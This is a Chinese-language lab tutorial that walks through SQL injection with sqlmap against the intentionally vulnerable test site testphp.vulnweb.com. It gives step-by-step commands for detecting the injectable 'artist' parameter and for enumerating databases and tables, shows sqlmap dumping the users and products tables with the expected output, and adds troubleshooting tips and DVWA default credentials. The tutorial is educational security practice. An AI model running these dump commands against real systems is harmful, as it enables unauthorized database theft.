SQLMap注入完整操作流程(含全部细节 靶机学习用)

一、前期准备

1. 工具环境

  • 工具:sqlmap-中文汉化-1.8.1.6(运行目录:~/sqlmap-中文汉化-1.8.1.6

  • 运行命令前缀:python3 sqlmap.py

  • 系统环境:Kali Linux(终端提示符:┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6]

2. 测试靶场选择(关键避坑点)

  • 初始尝试靶场:DVWA(本地地址:http://192.168.1.4/dvwa

  • 问题:PHPSESSID会话易失效,导致sqlmap被重定向到登录页(login.php),检测失败

  • 最终成功靶场:OWASP公开测试靶场(**核心地址:http://testphp.vulnweb.com/artists.php?artist=1**)

  • 靶场优势:无登录态要求、100%存在SQL注入漏洞、支持完整数据提取、外网可直接访问(无需本地部署)

3. 靶场核心信息(提前知晓)

  • 后端数据库:MySQL ≥ 5.6

  • Web服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40

  • 核心注入参数:GET参数 artist(靶场URL自带:?artist=1

  • 可提取数据库:2个(acuart 业务库、information_schema 系统库)

  • 关键表:acuart库下8张表(含 users 用户表、products 商品表)

二、完整操作流程(按顺序执行,可直接复制命令)

步骤1:验证靶场连通性 + 检测注入点

操作目的

确认靶场可访问,同时检测 artist 参数是否存在SQL注入漏洞

执行命令

复制代码

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1

参数说明

  • -u:指定目标URL(含注入参数 artist=1

  • --batch:自动确认所有交互选项(无需手动按回车)

  • --dbs:提取目标的所有数据库列表

  • -v 1:显示基础执行细节(便于排查问题)

预期结果

  1. 检测到 artist 参数存在4种注入类型:布尔盲注、报错注入、时间盲注、UNION联合查询

  2. 识别后端环境:MySQL ≥ 5.6、Linux Ubuntu、Nginx 1.19.0、PHP 5.6.40

  3. 提取到2个数据库:acuart(核心业务库)、information_schema(系统库)

  4. 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com

步骤2:提取 acuart 数据库的所有表

操作目的

获取核心业务库 acuart 下的表结构,定位关键表(如 users、products)

执行命令

复制代码

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1

参数说明

  • -D acuart:指定操作的数据库为 acuart(需与步骤1提取的数据库名完全一致)

  • --tables:提取指定数据库下的所有表列表

预期结果

提取到8张表,列表如下:

复制代码

+-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | # 含真实商品数据的核心表 | users | # 存储账号密码的核心表(靶场故意清空数据) +-----------+

步骤3:提取 users 表的账号密码(脱裤尝试)

操作目的

尝试提取用户表 users 中的username(用户名)和 password(密码)字段数据

执行命令

复制代码

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1

参数说明

  • -T users:指定操作的表为 users(需与步骤2提取的表名完全一致)

  • -C username,password:指定提取的字段(用户名+密码,用英文逗号分隔)

  • --dump:导出指定字段的所有数据(核心"脱裤"操作)

预期结果

表结构存在,但数据为空(靶场刻意设置,非操作问题):

复制代码

Database: acuart Table: users [1 entry] +----------+----------+ | username | password | +----------+----------+ | <blank> | <blank> | +----------+----------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

步骤4:提取 products 表的真实商品数据(验证流程)

操作目的

验证注入流程的完整性,提取 products 表的真实业务数据(商品ID、名称、价格)

执行命令

复制代码

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1

参数说明

  • -T products:指定操作的表为 products

  • -C id,name,price:指定提取的字段(商品ID、商品名称、商品价格)

预期结果(核心成功标志)

提取到3条真实商品数据,完整输出如下:

复制代码

Database: acuart Table: products [3 entries] +----+---------------------------------------------------+-------+ | id | name | price | +----+---------------------------------------------------+-------+ | 1 | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359 | | 2 | Web Camera A4Tech PK-335E | 10 | | 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | +----+---------------------------------------------------+-------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv

三、关键细节与避坑点(必看)

1. 靶场相关细节

  • 核心靶场URL(不可错):http://testphp.vulnweb.com/artists.php?artist=1(必须带 ?artist=1 参数,否则无法检测注入点)

  • 靶场性质:OWASP官方公开测试靶场,合法合规使用,无访问限制

  • 数据特点:users 表数据为空(安全防护),products 表数据真实(用于验证注入)

2. 命令参数细节

  • 所有参数区分大小写:-D acuart 中的 acuart 必须小写(与靶场数据库名一致),错写会导致提取失败

  • --batch 不可省略:自动确认所有交互选项(如"是否跟随重定向""是否测试其他参数"),避免手动输入打断流程

  • -v 1 的作用:显示基础执行日志,可快速定位"连接失败""参数错误"等问题(如需更详细日志,可改为 -v 2

3. 常见问题排查

  • 问题1:sqlmap提示"无法连接到目标URL"

  • 排查:检查网络是否通畅,靶场URL是否正确(复制 http://testphp.vulnweb.com/artists.php?artist=1 到浏览器,确认能打开)

  • 问题2:提取数据为空(非users表)

  • 排查:确认 -D/-T/-C 后的名称是否正确(需与前一步提取的数据库/表/字段名完全一致,不可多空格、不错别字)

  • 问题3:被重定向到登录页(仅DVWA靶场)

  • 排查:重新登录DVWA(账号 admin,密码 password),立即复制最新的 PHPSESSID 替换命令中的Cookie值

四、复盘总结(核心收获)

1. 完整注入链路

检测注入点 → 提取数据库列表 → 提取目标库表列表 → 提取目标表字段数据 → 导出数据(脱裤)

2. 核心命令速记

  • 检测+提库:python3 sqlmap.py -u "靶场URL" --batch --dbs -v 1

  • 提表:python3 sqlmap.py -u "靶场URL" --batch -D 数据库名 --tables -v 1

  • 提数据:python3 sqlmap.py -u "靶场URL" --batch -D 数据库名 -T 表名 -C 字段名 --dump -v 1

3. 关键经验

  • 新手练手优先选择公开测试靶场(如 testphp.vulnweb.com),避开本地靶场的环境配置坑(如DVWA的会话失效、安全级别设置)

  • 执行每一步前,确认上一步的输出结果(如提取到数据库后,再用该数据库名执行提表命令),避免参数错误

  • 数据为空不一定是操作失败,可能是靶场的安全设置(如本次 users 表),可换其他表验证流程

相关推荐
Elias不吃糖7 小时前
Java Lambda 表达式
java·开发语言·学习
梨子串桃子_7 小时前
推荐系统学习笔记 | PyTorch学习笔记
pytorch·笔记·python·学习·算法
jjjxxxhhh1238 小时前
spdlog介绍使用
学习
曾浩轩9 小时前
图灵完备Turing Complete 3
学习
天天睡大觉9 小时前
Python学习11
网络·python·学习
laplace01239 小时前
# 第六章 agent框架开发实践 - 学习笔记
人工智能·笔记·学习·语言模型·agent
坚持不懈的大白10 小时前
Leetcode学习笔记
笔记·学习·leetcode
SWAGGY..10 小时前
数据结构学习篇(10)--- 二叉树基础oj练习
数据结构·学习
QiZhang | UESTC11 小时前
学习日记day58
学习
JeffDingAI11 小时前
【Datawhale学习笔记】基于Gensim的词向量实战
人工智能·笔记·学习